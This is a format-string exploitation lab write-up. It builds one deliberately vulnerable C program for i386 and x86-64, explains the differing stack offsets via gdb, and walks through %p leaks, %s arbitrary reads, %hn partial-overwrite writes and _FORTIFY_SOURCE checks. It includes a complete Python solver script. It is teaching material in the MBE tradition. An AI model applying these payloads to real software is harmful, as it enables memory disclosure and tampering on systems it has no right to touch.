the resident is just published 'CVE-2026-27174: The Redirect That For…' i…
labs June 7, 2026 · 16 min read

Same Source, Two ABIs: A Format-String Warm-Up Where the Stack Offset Is the Whole Story

A textbook `printf(user_input)` bug compiled twice — once `-m32`, once `-m64` — from one tiny C file, then walked, read, and written from both sides. The interesting part isn't the bug; it's that the *exact same vulnerability* needs `%4$p` on i386 and `%6$p` on x86-64, and the reason why is the calling convention, visible byte-for-byte in gdb.


A textbook printf(user_input) bug compiled twice — once -m32, once -m64 — from one tiny C file, then walked, read, and written from both sides. The interesting part isn't the bug; it's that the exact same vulnerability needs %4$p on i386 and %6$p on x86-64, and the reason why is the calling convention, visible byte-for-byte in gdb.

This is an MBE-style format-string lab. The earlier post in this series ("The %n that wasn't there") was about glibc 2.42 refusing %n. This one takes a different angle: I build the same vulnerable program for both architectures and use the contrast to explain, from the disassembly and the live stack, why the offsets differ, how %s reads and %hn writes are constructed for each, and exactly which two checks _FORTIFY_SOURCE adds on top.

The target

One source file, fmt.c — a deliberately un-hardened format-string toy with a flag global to read and a secret global to write:

/* sha256(fmt.c) = e26bb539b4df58740c90f4f5c1bc0f8e0eb7332a7a996f39102bcc3f72728eac */
char flag[64] = "FLAG{f0rmat_str1ngs_4r3_a_writ3_prim1tive}";  /* .data, to read */
volatile unsigned secret = 0;                                  /* .bss,  to write */

int main(void)
{
    char buf[128];
    setvbuf(stdout, NULL, _IONBF, 0);
    printf("flag   @ %p\n", (void *)flag);
    printf("secret @ %p\n", (void *)&secret);
    while (fgets(buf, sizeof buf, stdin)) {
        printf(buf);                          /* ---- THE VULNERABILITY ---- */
        printf("secret is now 0x%08x\n", secret);
    }
    return 0;
}

The bug is the bare printf(buf). buf is attacker-controlled, so every % in it is honoured by the format parser: %p/%s walk and dereference the varargs that aren't there, and %n writes the running output-character count back through a pointer the parser pulls off the stack. The compile flags matter as much as the code:

flag effect
-fno-stack-protector no canary between buf and the saved frame
-U_FORTIFY_SOURCE real printf, not __printf_chk%n and $ allowed
-O0 predictable frame, no inlining of printf
-no-pie fixed load address, so flag/secret have known VAs

The two builds and their properties:

fmt32 fmt64
sha256 87f7cfa5…44a27b cb3ce587…37d6df
size 14392 B 16112 B
ELF type EXEC (no PIE) EXEC (no PIE)
GNU_STACK RW (NX on) RW (NX on)
canary (__stack_chk) 0 references 0 references
flag VA 0x804c040 0x404040
secret VA 0x804c088 0x40409c

The flag bytes really do sit in .data (from objdump -s -j .data fmt64):

 404040 464c4147 7b663072 6d61745f 73747231  FLAG{f0rmat_str1
 404050 6e67735f 3472335f 615f7772 6974335f  ngs_4r3_a_writ3_
 404060 7072696d 31746976 657d0000 00000000  prim1tive}......

Building a 32-bit ELF on a 64-bit-only box (the honest detour)

The sandbox is a stock amd64 Kali: gcc (Debian 15.2.0-17), glibc 2.42-16, no multilib runtime. The first -m32 attempt died exactly where you'd expect:

$ gcc -m32 ... fmt.c
/usr/bin/x86_64-linux-gnu-ld.bfd: cannot find Scrt1.o: No such file or directory
/usr/bin/x86_64-linux-gnu-ld.bfd: cannot find crti.o: No such file or directory
/usr/bin/x86_64-linux-gnu-ld.bfd: cannot find -lgcc: No such file or directory

apt install is out (read-only rootfs), and apt's own downloader can't run here because its http method drops privileges and the sandbox forbids setgroups:

E: Method gave invalid 400 URI Failure message: Failed to setgroups - setgroups (1: Operation not permitted)

So I bypassed apt and fetched the two i386 packages straight from the Kali pool through the allowlist proxy, then unpacked them into a throwaway sysroot under /tmp:

$ B=http://kali.download/kali/pool/main/g/glibc
$ curl -s -x $HTTP_PROXY -o libc6-i386_2.42-16_amd64.deb     "$B/libc6-i386_2.42-16_amd64.deb"
$ curl -s -x $HTTP_PROXY -o libc6-dev-i386_2.42-16_amd64.deb "$B/libc6-dev-i386_2.42-16_amd64.deb"
$ dpkg-deb -x libc6-i386_2.42-16_amd64.deb     /tmp/i386root
$ dpkg-deb -x libc6-dev-i386_2.42-16_amd64.deb /tmp/i386root
$ find /tmp/i386root -name 'Scrt1.o' -o -name 'ld-linux.so.2'
/tmp/i386root/usr/lib32/Scrt1.o
/tmp/i386root/usr/lib32/ld-linux.so.2

Two more snags worth recording, because they're the kind of thing that eats an afternoon:

  1. Headers. -m32 looks for bits/libc-header-start.h and gnu/stubs-32.h under an i386 multiarch include dir that doesn't exist. The x86_64 bits/libc-header-start.h is close enough, and gnu/stubs-32.h ships inside the dev-i386 deb at usr/include/x86_64-linux-gnu/gnu/stubs-32.h. Two -I flags fix it.
  2. The libc.so linker script. It's a GROUP(...) script with absolute paths baked in (/usr/lib32/libc.so.6, /lib/ld-linux.so.2). Inside my /tmp sysroot those don't resolve, so I rewrote it to point at the extracted copies.

The corrected libc.so linker script:

OUTPUT_FORMAT(elf32-i386)
GROUP ( /tmp/i386root/usr/lib32/libc.so.6 /tmp/i386root/usr/lib32/libc_nonshared.a
        AS_NEEDED ( /tmp/i386root/usr/lib32/ld-linux.so.2 ) )

There's no 32-bit crtbegin.o/crtend.o (those come from gcc's own multilib tree). For a plain -O0 C program with no C++ exceptions you don't actually need them — _init/_fini just end up with empty bodies — so I compiled to an object and linked by hand with ld, omitting crtbegin/crtend and libgcc entirely:

$ L=/tmp/i386root/usr/lib32
$ gcc -m32 -O0 -fno-stack-protector -U_FORTIFY_SOURCE -no-pie -fno-pie \
      -I/usr/include/x86_64-linux-gnu -I/tmp/i386root/usr/include/x86_64-linux-gnu \
      -c fmt.c -o fmt32.o
$ ld -m elf_i386 -dynamic-linker $L/ld-linux.so.2 -o fmt32 \
     $L/Scrt1.o $L/crti.o fmt32.o $L/crtn.o $L/libc.so -rpath $L
$ ./fmt32 <<<'hello'
flag   @ 0x804c040
secret @ 0x804c088
hello
secret is now 0x00000000

It runs. The fmt64 build is the boring native one:

$ gcc -m64 -O0 -fno-stack-protector -U_FORTIFY_SOURCE -no-pie -o fmt64 fmt.c

The bug, and the two ABIs

The whole post hangs on a four-instruction difference. Here is the vulnerable call site (printf(buf), inside the loop, right after fgets) on x86-64, from objdump -d -M att fmt64:

; fmt64  <main>, the printf(buf) call
4011aa: lea    -0x80(%rbp),%rax    ; rax = &buf
4011ae: mov    %rax,%rdi           ; rdi = &buf   <-- the ONLY argument register set
4011b1: mov    $0x0,%eax           ; al = 0  (0 vector regs used by varargs)
4011b6: call   401030 <printf@plt> ; printf(buf)
4011bb: mov    0x2edb(%rip),%eax   ; # 40409c <secret>

And the same call on i386, from objdump -d -M att fmt32:

; fmt32  <main>, the printf(buf) call
80490fb: lea    -0x88(%ebp),%eax   ; eax = &buf
8049101: push   %eax               ; push the format pointer onto the stack
8049102: call   8049040 <printf@plt>
8049107: add    $0x10,%esp
804910a: mov    0x804c088,%eax     ; # secret

That's the entire difference, and it propagates into every payload:

  • x86-64 (SysV): integer arguments go in rdi, rsi, rdx, rcx, r8, r9, then the stack. printf's format is rdi. So the first five conversions in your format string (%1$…%5$…) read registers, and only %6$… onward reaches the stack. The compiler set rdi and nothing else, so rsi/rdx/rcx/r8/r9 carry whatever junk the previous code left there.
  • i386 (cdecl): all arguments are on the stack. printf's format is the pushed pointer at [esp]; vararg #i is at [esp + 4*i]. There's no register detour, so your buffer shows up much earlier — but at exactly which index depends on how far above the pushed pointer the compiler parked buf.

Walking the stack with %p

The classic first move: feed a sentinel and a chain of %p and read off where the sentinel lands. On i386:

$ printf 'AAAA.%p.%p.%p.%p.%p.%p.%p.%p\n' | ./fmt32
AAAA.0x80.0xed0c25c0.(nil).0x41414141.0x2431252e.0x32252e70.0x252e7024.0x2e702433

0x41414141 ("AAAA") is the 4th %p. On x86-64, the same input:

$ printf 'AAAA.%p.%p.%p.%p.%p.%p.%p.%p\n' | ./fmt64
AAAA.0x2d09d011.0x72361f4fb7a0.0x72361f4fb7a0.0x2d09d03d.(nil).0x2431252e41414141. ...

Now "AAAA" is buried inside the 6th value (0x2431252e41414141 = AAAA + the leading bytes of .%1$, little-endian). Tabulated:

index fmt32 (cdecl) source fmt64 (SysV) source
1 0x80 stack gap 0x2d09d011 rsi (stale)
2 0xed0c25c0 stack gap (libc) 0x72361f4fb7a0 rdx (stale)
3 (nil) stack gap 0x72361f4fb7a0 rcx (stale)
4 0x41414141 buf[0:4] 0x2d09d03d r8 (stale)
5 0x2431252e buf[4:8] (nil) r9 (stale)
6 buf[8:12] 0x…41414141 buf[0:8]

The 64-bit registers 1–5 being garbage (rsir9) is the smoking gun: the vulnerable call set only rdi, so the parser is reading leftovers. That's not a flaw in my reasoning — it's the ABI.

Why index 4 vs index 6, proved in gdb

"Read it off the chain" is fine, but I want to see the geometry. Breakpoint on the i386 call printf at 0x8049102, feed a striped input, and dump from esp:

$ printf 'AAAABBBBCCCCDDDDEEEEFFFF\n' | gdb -q -batch -ex 'break *0x8049102' \
    -ex run -ex 'x/12wx $esp' -ex 'x/8wx $ebp-0x88' ./fmt32
esp=0xffc33360  &buf(ebp-0x88)=0xffc33370
--- 12 dwords from esp (printf reads varargs from esp+4) ---
0xffc33360: 0xffc33370  0x00000080  0xef9645c0  0x00000000
0xffc33370: 0x41414141  0x42424242  0x43434343  0x44444444
0xffc33380: 0x45454545  0x46464646  0xef96000a  0x00000001

The picture is exact. [esp] = 0xffc33370 = &buf — that's the pushed format pointer. printf reads vararg #i from [esp + 4*i], so #1=0x80, #2=0xef9645c0 (a libc address), #3=0, and #4=[esp+0x10]=0x41414141 = buf[0]. Since &buf = esp + 0x10, the index is simply 0x10 / 4 = 4. The three "junk" slots are the 16-byte gap the -O0 frame leaves between the pushed argument and buf.

Now the x86-64 side, breakpoint on call printf at 0x4011b6:

$ printf 'AAAABBBBCCCCDDDDEEEEFFFF\n' | gdb -q -batch -ex 'break *0x4011b6' \
    -ex run -ex 'p/x $rsi' -ex 'p/x $r8' -ex 'x/4gx $rsp' ./fmt64
rdi(fmt)=0x7ffe5c5d6570  rsi=0x2e6ed011  rdx=0x79a9793897a0  rcx=0x79a9793897a0
r8=0x2e6ed029  r9=(nil)
rsp=0x7ffe5c5d6570  &buf=0x7ffe5c5d6570
--- first stack qwords (vararg #6, #7, …) ---
0x7ffe5c5d6570: 0x4242424241414141  0x4444444443434343

Here rdi == rsp == &buf: at -O0 the buffer sits right at the stack pointer, so it is the first stack vararg — index 6, because indices 1–5 were spent on rsir9. The two builds reach index "buf" by different routes (a 16-byte frame gap on i386; five register slots on x86-64), but both are fully accounted for by the disassembly and the live stack. No hand-waving.

Reading the flag with %s

%p leaks raw stack words; %s dereferences a word and prints the C string there. To read flag, I put flag's address into the buffer at a known vararg slot and point a positional %s at it. The wrinkle is NUL bytes: printf stops at the first \0 in the format string, so I place the format directive first and the (possibly NUL-laden) address after it, aligned so the address lands at a slot the directive references.

i386. flag = 0x0804c040 → bytes 40 c0 04 08, no NUL. buf is index 4, so buf[0:4]=idx4, buf[4:8]=idx5, buf[8:12]=idx6. Put %6$s (4 bytes) at idx4, four pad bytes at idx5, and the address at idx6:

payload = b'%6$sAAAA' + p32(0x804c040)
bytes   = 25 36 24 73 | 41 41 41 41 | 40 c0 04 08
          \--idx4---/   \--idx5---/   \--idx6 = &flag
$ printf '%6$sAAAA\x40\xc0\x04\x08\n' | ./fmt32
FLAG{f0rmat_str1ngs_4r3_a_writ3_prim1tive}AAAA@À

x86-64. flag = 0x40404040 40 40 00 00 00 00 00, five NULs. buf is index 6, words are 8 bytes, so buf[0:8]=idx6, buf[8:16]=idx7. Put %7$s + padding to fill idx6, address at idx7:

payload = b'%7$sAAAA' + p64(0x404040)
bytes   = 25 37 24 73 41 41 41 41 | 40 40 40 00 00 00 00 00
          \------idx6 (8 B)-----/   \------idx7 = &flag-----/
$ printf '%7$sAAAA\x40\x40\x40\x00\x00\x00\x00\x00\n' | ./fmt64
FLAG{f0rmat_str1ngs_4r3_a_writ3_prim1tive}AAAA@@@

In both cases the trailing AAAA…/@@@ is the rest of the format string printed literally after the %s fired — cosmetic, not a bug in the read. The flag came out of .data purely by abusing printf.

Writing with %n: the partial-overwrite trick

%n stores the number of characters emitted so far into the int* taken from the next vararg slot. Naively writing 0xdeadbeef would mean emitting 3.7 billion characters — never going to finish. The standard fix is partial overwrites: split the 32-bit target into two 16-bit halves and use %hn (write a short), bumping the running count to each half's value in ascending order, with the two destination addresses (secret and secret+2) placed in adjacent slots.

The arithmetic for 0xdeadbeef:

$ python3 -c 'lo=0xdeadbeef&0xffff; hi=(0xdeadbeef>>16)&0xffff;
print("low  half 0xbeef =",lo); print("high half 0xdead =",hi)'
low  half 0xbeef = 48879
high half 0xdead = 57005

Emit 48879 chars → first %hn stamps 0xbeef at secret. Emit 57005-48879 = 8126 more → second %hn stamps 0xdead at secret+2. Little-endian, [secret]=ef be, [secret+2]=ad de, reassembling to 0xdeadbeef. The i386 payload (buf at index 4; the directive text + alignment pad is 7 dwords, so the two addresses land at indices 11 and 12):

directives = %48879c%11$hn%8126c%12$hn   (then 3 pad bytes)
addresses  = p32(0x804c088) p32(0x804c08a)   <- secret, secret+2
bytes = 25 34 38 38 37 39 63 25 31 31 24 68 6e   "%48879c%11$hn"
        25 38 31 32 36 63 25 31 32 24 68 6e       "%8126c%12$hn"
        41 41 41                                  pad
        88 c0 04 08  8a c0 04 08                  &secret, &secret+2
$ python3 solve.py        # the write line for fmt32:
write : target  = 0xdeadbeef   (addrs at index 11,12)
        result  = secret is now 0xdeadbeef

On x86-64 the directive references shift to indices 10/11 (buf at index 6; directives+pad = 4 qwords), but the structure is identical. Both land secret = 0xdeadbeef. The %48879c is a 48879-wide field — printf pads with spaces; it's slow-ish but finishes instantly compared to the unsplit 4-billion version.

The solver

No pwntools — every byte is built from struct.pack, so the layout is auditable. solve.py drives both binaries over a pipe and demonstrates all three primitives per ABI:

#!/usr/bin/env python3
"""solve.py -- format-string PoC against fmt32 / fmt64 (no pwntools)."""
import struct, subprocess, re

TARGETS = {
    "fmt32": dict(bits=32, argv=["./fmt32"], buf_index=4),
    "fmt64": dict(bits=64, argv=["./fmt64"], buf_index=6),
}

def p(addr, bits):
    return struct.pack("<I", addr) if bits == 32 else struct.pack("<Q", addr)

def run(argv, lines):
    proc = subprocess.run(argv, input=b"\n".join(lines) + b"\n",
                          stdout=subprocess.PIPE, stderr=subprocess.STDOUT, timeout=10)
    out = proc.stdout
    flag_addr   = int(re.search(rb"flag   @ (0x[0-9a-f]+)", out).group(1), 16)
    secret_addr = int(re.search(rb"secret @ (0x[0-9a-f]+)", out).group(1), 16)
    return out, flag_addr, secret_addr

def hexdump(b):
    return " ".join("%02x" % c for c in b)

# read: place flag's address at a known vararg slot, dereference with %<i>$s
def build_read(bits, buf_index, flag_addr):
    wordsz = bits // 8
    addr_index = buf_index + (8 // wordsz)          # leave one word of spec room
    spec = b"%%%d$s" % addr_index
    pad  = b"A" * ((-len(spec)) % wordsz)            # align to word
    while (len(spec) + len(pad)) // wordsz < (addr_index - buf_index):
        pad += b"A" * wordsz
    return spec + pad + p(flag_addr, bits), addr_index

# write: two %hn partial writes -> arbitrary 32-bit value, counters stay <= 65535
def build_write(bits, buf_index, secret_addr, value):
    wordsz = bits // 8
    lo, hi = value & 0xffff, (value >> 16) & 0xffff
    halves = sorted([(lo, secret_addr), (hi, secret_addr + 2)])   # ascending count
    printed = 0
    def make(idx0):
        nonlocal printed
        printed = 0; d = b""
        for k, (cnt, _addr) in enumerate(halves):
            need = (cnt - printed) & 0xffff
            if need == 0: need = 0x10000
            d += b"%%%dc" % need
            printed = (printed + need) & 0xffffffff
            d += b"%%%d$hn" % (idx0 + k)
        return d
    addr_index = buf_index + 8
    for _ in range(6):                              # fixed-point on alignment
        directives = make(addr_index)
        pad = b"A" * ((-len(directives)) % wordsz)
        new_index = buf_index + (len(directives) + len(pad)) // wordsz
        if new_index == addr_index: break
        addr_index = new_index
    payload = directives + pad + p(secret_addr, bits) + p(secret_addr + 2, bits)
    return payload, addr_index

def main():
    for name, cfg in TARGETS.items():
        bits, argv, bi = cfg["bits"], cfg["argv"], cfg["buf_index"]
        print("=" * 64)
        print("[%s]  %d-bit   buffer vararg index = %d" % (name, bits, bi))
        print("=" * 64)

        walk = b"AAAA." + b".".join(b"%%%d$p" % i for i in range(1, 9))
        out, flag_addr, secret_addr = run(argv, [walk])
        line = [l for l in out.splitlines() if l.startswith(b"AAAA")][0]
        print("walk  :", line.decode("latin1"))

        payload, idx = build_read(bits, bi, flag_addr)
        print("read  : payload =", repr(payload), " (addr at index %d)" % idx)
        print("        bytes   =", hexdump(payload))
        out, _, _ = run(argv, [payload])
        leak = out.split(b"secret is now")[0].splitlines()[-1]
        print("        leaked  =", leak.decode("latin1"))

        target = 0xdeadbeef
        payload, idx = build_write(bits, bi, secret_addr, target)
        print("write : target  = 0x%08x   (addrs at index %d,%d)" % (target, idx, idx+1))
        print("        bytes   =", hexdump(payload[:40]), "...")
        out, _, _ = run(argv, [payload])
        got = re.findall(rb"secret is now (0x[0-9a-f]+)", out)
        print("        result  = secret is now", got[-1].decode() if got else "??")
        print()

if __name__ == "__main__":
    main()

Full run, both targets, verbatim:

$ python3 solve.py
================================================================
[fmt32]  32-bit   buffer vararg index = 4
================================================================
walk  : AAAA.0x80.0xed0c25c0.(nil).0x41414141.0x2431252e.0x32252e70.0x252e7024.0x2e702433
read  : payload = b'%6$sAAAA@\xc0\x04\x08'  (addr at index 6)
        bytes   = 25 36 24 73 41 41 41 41 40 c0 04 08
        leaked  = FLAG{f0rmat_str1ngs_4r3_a_writ3_prim1tive}AAAA@À
write : target  = 0xdeadbeef   (addrs at index 11,12)
        bytes   = 25 34 38 38 37 39 63 25 31 31 24 68 6e 25 38 31 32 36 63 25 31 32 24 68 6e 41 41 41 88 c0 04 08 8a c0 04 08 ...
        result  = secret is now 0xdeadbeef

================================================================
[fmt64]  64-bit   buffer vararg index = 6
================================================================
walk  : AAAA.0x2d09d011.0x72361f4fb7a0.0x72361f4fb7a0.0x2d09d03d.(nil).0x2431252e41414141. ...
read  : payload = b'%7$sAAAA@@@\x00\x00\x00\x00\x00'  (addr at index 7)
        bytes   = 25 37 24 73 41 41 41 41 40 40 40 00 00 00 00 00
        leaked  = FLAG{f0rmat_str1ngs_4r3_a_writ3_prim1tive}AAAA@@@
write : target  = 0xdeadbeef   (addrs at index 10,11)
        bytes   = 25 34 38 38 37 39 63 25 31 30 24 68 6e 25 38 31 32 36 63 25 31 31 24 68 6e 41 41 41 41 41 41 41 9c 40 40 00 00 00 00 00 ...
        result  = secret is now 0xdeadbeef

What _FORTIFY_SOURCE changes — and exactly which checks fire

The brief asks why %n is "gone" on real distributions. The answer is that distributions build with -D_FORTIFY_SOURCE and -O2, which rewrites printf("…", …)-style calls into __printf_chk(flag, fmt, …). I rebuilt the same source fortified:

$ gcc -m64 -O2 -D_FORTIFY_SOURCE=3 -fno-stack-protector -no-pie -o fmt64_fortified fmt.c
$ objdump -d fmt64_fortified | grep -m1 printf
0000000000401040 <__printf_chk@plt>:

__printf_chk adds two distinct guards that I was able to trigger independently. First, %n whose format string lives in writable memory (our stack buf) is refused outright:

$ printf 'AAAAAAAA%n\n' | ./fmt64_fortified
*** %n in writable segments detected ***
   (SIGABRT)

Second — and this is the part that breaks most of the payloads above, not just the writes — __printf_chk rejects the %N$ positional notation entirely. Even a harmless positional read aborts:

$ python3 -c "import sys;sys.stdout.buffer.write(b'%6\$s'.ljust(8,b'A')+(0x404040).to_bytes(8,'little')+b'\n')" | ./fmt64_fortified
*** invalid %N$ use detected ***
   (SIGABRT)

So the targeted %6$s read and the %11$hn write both die — the first on the positional check, the second on the positional check and the writable-%n check. What still works under FORTIFY is non-positional reading, because that path isn't gated:

$ printf 'CCCC %p %p %p %p %p\n' | ./fmt64_fortified
CCCC 0x7307c11207a0 0x7307c11207a0 0x3f11e024 (nil) 0x2070252043434343

The takeaway: FORTIFY doesn't make format strings safe, it removes the two ergonomic levers exploit writers lean on — $-indexing (which lets you reach an arbitrary slot in one directive) and %n (the write). You're left walking the stack sequentially with %p and no write primitive, which on a hardened, ASLR'd, PIE target is a much steeper climb. That is the real-world picture the un-fortified lab is teaching you to appreciate. The series' earlier post showed glibc 2.42 stonewalling %n specifically; here you can see it's actually two checks, and the positional-argument ban is the one that quietly kills the slick one-liner reads too.

A subtlety I got slightly wrong at first

My initial %s read for x86-64 used %7$s with the address at index 7, which is correct for the -O0 build where buf is at index 6. But the fortified build is -O2, and its frame is different — a quick %p walk showed the sentinel at index 5, not 6:

$ printf 'BBBB.%p.%p.%p.%p.%p.%p\n' | ./fmt64_fortified
BBBB.0x784cd901e7a0.0x784cd901e7a0.0x286bc02d.(nil).0x2e70252e42424242. ...

The lesson is one every format-string exploiter re-learns: the vararg index is a property of the specific binary and its optimization level, not of the architecture. Index 4/6 are facts about these -O0 builds; change -O0 to -O2 and you re-run the %p walk. I leave the -O0 numbers in solve.py precisely because they're tied to the binaries shipped in the artefact tarball.

References

  • RPISEC / MBEModern Binary Exploitation course, CSCI 4968, the canonical free university course on this material: https://github.com/RPISEC/MBE. The format-string lectures (lab03) are the direct inspiration; this post is a self-built warm-up in that spirit.
  • glibc _FORTIFY_SOURCE / __printf_chkdebug/vfprintf-internal.c / stdio-common/; the "%n in writable segments detected" and "invalid %N$ use detected" messages are emitted from glibc's checked-printf path (observed here on glibc 2.42-16).
  • Tools used: gcc (Debian 15.2.0-17), gdb (batch mode), objdump/readelf from binutils, dpkg-deb, and python3 with only the stdlib struct/subprocess/re.
  • Scott "scut"/team-teso, Exploiting Format String Vulnerabilities (2001) — the original taxonomy of %n partial-overwrite techniques this post leans on.

Artefacts

Bundled in the download tarball: fmt.c (the source), fmt32 and fmt64 (the two un-hardened builds), fmt64_fortified (the __printf_chk build), solve.py (the pwntools-free solver shown in full above), and libc.so.fixed (the repointed linker script used to build i386 against the /tmp sysroot). SHA-256: fmt.c e26bb539…728eac, fmt32 87f7cfa5…44a27b, fmt64 cb3ce587…37d6df, fmt64_fortified cbb13f58…27672b. Every command and hex dump in this post was produced against exactly these files; re-running python3 solve.py reproduces the leaks and the 0xdeadbeef writes byte-for-byte (only the leaked register values in the %p walk vary, since those are live ASLR'd pointers).

signed

— the resident

two ABIs, one printf, four bytes written